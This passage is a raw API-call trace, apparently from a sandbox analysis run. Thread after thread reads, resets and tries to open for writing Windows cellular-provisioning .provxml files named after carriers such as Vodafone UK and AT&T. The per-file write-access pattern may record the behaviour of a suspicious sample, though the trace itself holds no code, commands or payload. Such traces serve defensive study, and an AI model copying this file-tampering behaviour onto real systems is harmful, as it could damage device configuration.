Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\478__Connections_Cellular_Vodafone UK (United Kingdom)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.420] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa22c0) returned 1 [0181.420] RtlExitUserThread (Status=0x0) Thread: id = 3070 os_tid = 0xe40 [0181.280] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\479__Connections_Cellular_Vodafone UK (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\479__connections_cellular_vodafone uk (united kingdom)_i1$(__mvid)@wap.provxml")) returned 0x20 [0181.418] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\479__Connections_Cellular_Vodafone UK (United Kingdom)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.418] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\479__Connections_Cellular_Vodafone UK (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\479__connections_cellular_vodafone uk (united kingdom)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.418] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\479__Connections_Cellular_Vodafone UK (United Kingdom)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.419] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2590) returned 1 [0181.419] RtlExitUserThread (Status=0x0) Thread: id = 3071 os_tid = 0xe48 [0181.280] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\47__Connections_Cellular_ORANGE (Belgium)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\47__connections_cellular_orange (belgium)_i2$(__mvid)@wap.provxml")) returned 0x20 [0181.417] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\47__Connections_Cellular_ORANGE (Belgium)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.417] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\47__Connections_Cellular_ORANGE (Belgium)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\47__connections_cellular_orange (belgium)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.417] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\47__Connections_Cellular_ORANGE (Belgium)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.417] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f025a8) returned 1 [0181.417] RtlExitUserThread (Status=0x0) Thread: id = 3072 os_tid = 0xfb0 [0181.280] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\480__Connections_Cellular_Vodafone UK (United Kingdom)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\480__connections_cellular_vodafone uk (united kingdom)_i2$(__mvid)@wap.provxml")) returned 0x20 [0181.416] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\480__Connections_Cellular_Vodafone UK (United Kingdom)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.416] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\480__Connections_Cellular_Vodafone UK (United Kingdom)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\480__connections_cellular_vodafone uk (united kingdom)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.416] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\480__Connections_Cellular_Vodafone UK (United Kingdom)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.416] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa26f8) returned 1 [0181.416] RtlExitUserThread (Status=0x0) Thread: id = 3073 os_tid = 0xfb4 [0181.281] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\481__Connections_Cellular_Vodafone UK (United Kingdom)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\481__connections_cellular_vodafone uk (united kingdom)_i3$(__mvid)@wap.provxml")) returned 0x20 [0181.415] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\481__Connections_Cellular_Vodafone UK (United Kingdom)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.415] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\481__Connections_Cellular_Vodafone UK (United Kingdom)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\481__connections_cellular_vodafone uk (united kingdom)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.415] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\481__Connections_Cellular_Vodafone UK (United Kingdom)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.415] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedc08) returned 1 [0181.415] RtlExitUserThread (Status=0x0) Thread: id = 3074 os_tid = 0xfdc [0181.281] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\482__Connections_Cellular_Vodafone UK (United Kingdom)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\482__connections_cellular_vodafone uk (united kingdom)_i4$(__mvid)@wap.provxml")) returned 0x20 [0181.414] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\482__Connections_Cellular_Vodafone UK (United Kingdom)_i4$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.414] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\482__Connections_Cellular_Vodafone UK (United Kingdom)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\482__connections_cellular_vodafone uk (united kingdom)_i4$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.414] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\482__Connections_Cellular_Vodafone UK (United Kingdom)_i4$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.414] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2feded8) returned 1 [0181.414] RtlExitUserThread (Status=0x0) Thread: id = 3075 os_tid = 0x1170 [0181.282] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\483__Connections_Cellular_Vodafone UK (United Kingdom)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\483__connections_cellular_vodafone uk (united kingdom)_i5$(__mvid)@wap.provxml")) returned 0x20 [0181.412] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\483__Connections_Cellular_Vodafone UK (United Kingdom)_i5$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.413] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\483__Connections_Cellular_Vodafone UK (United Kingdom)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\483__connections_cellular_vodafone uk (united kingdom)_i5$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.413] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\483__Connections_Cellular_Vodafone UK (United Kingdom)_i5$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.413] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fecc90) returned 1 [0181.413] RtlExitUserThread (Status=0x0) Thread: id = 3076 os_tid = 0x1174 [0181.282] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\484__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\484__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0181.373] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\484__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0181.373] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\484__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\484__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.373] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\484__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0181.373] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30550b8) returned 1 [0181.373] RtlExitUserThread (Status=0x0) Thread: id = 3077 os_tid = 0x1178 [0181.283] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\485__Connections_Cellular_AT&T (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\485__connections_cellular_at&t (united states)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.371] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\485__Connections_Cellular_AT&T (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.372] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\485__Connections_Cellular_AT&T (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\485__connections_cellular_at&t (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.372] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\485__Connections_Cellular_AT&T (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.372] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3059e10) returned 1 [0181.372] RtlExitUserThread (Status=0x0) Thread: id = 3078 os_tid = 0x117c [0181.283] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\486__connections_cellular_at&t (united states)_i1$(__mvid)@wap.provxml")) returned 0x20 [0181.370] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.370] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\486__connections_cellular_at&t (united states)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.370] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.371] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3059a08) returned 1 [0181.371] RtlExitUserThread (Status=0x0) Thread: id = 3079 os_tid = 0x1188 [0181.283] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\487__connections_cellular_at&t (united states)_i2$(__mvid)@wap.provxml")) returned 0x20 [0181.369] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.369] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\487__connections_cellular_at&t (united states)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.369] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.369] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3059b60) returned 1 [0181.369] RtlExitUserThread (Status=0x0) Thread: id = 3080 os_tid = 0x46c [0181.284] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\488__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0181.411] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0181.411] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\488__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.411] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0181.411] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3059cb8) returned 1 [0181.411] RtlExitUserThread (Status=0x0) Thread: id = 3081 os_tid = 0x11a0 [0181.284] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\489__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0181.410] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0181.410] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\489__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.410] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0181.410] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054350) returned 1 [0181.410] RtlExitUserThread (Status=0x0) Thread: id = 3082 os_tid = 0x11bc [0181.285] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\48__connections_cellular_proximus (belgium)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.409] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.409] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\48__connections_cellular_proximus (belgium)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.409] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.409] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058c98) returned 1 [0181.409] RtlExitUserThread (Status=0x0) Thread: id = 3083 os_tid = 0xfd4 [0181.285] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\490__connections_cellular_cincinnati bell wireless (united states)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.407] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.408] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\490__connections_cellular_cincinnati bell wireless (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.408] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.408] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8f458) returned 1 [0181.408] RtlExitUserThread (Status=0x0) Thread: id = 3084 os_tid = 0x11b4 [0181.285] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\491__connections_cellular_plateau wireless (united states)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.406] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.406] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\491__connections_cellular_plateau wireless (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.407] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\491__Connections_Cellular_Plateau Wireless (United States)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.407] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ca08) returned 1 [0181.407] RtlExitUserThread (Status=0x0) Thread: id = 3085 os_tid = 0x11c4 [0181.286] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\492__connections_cellular_rural cellular corporation (united states)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.405] SetFileAttributesW (lpFileName="C:\\Users\\All 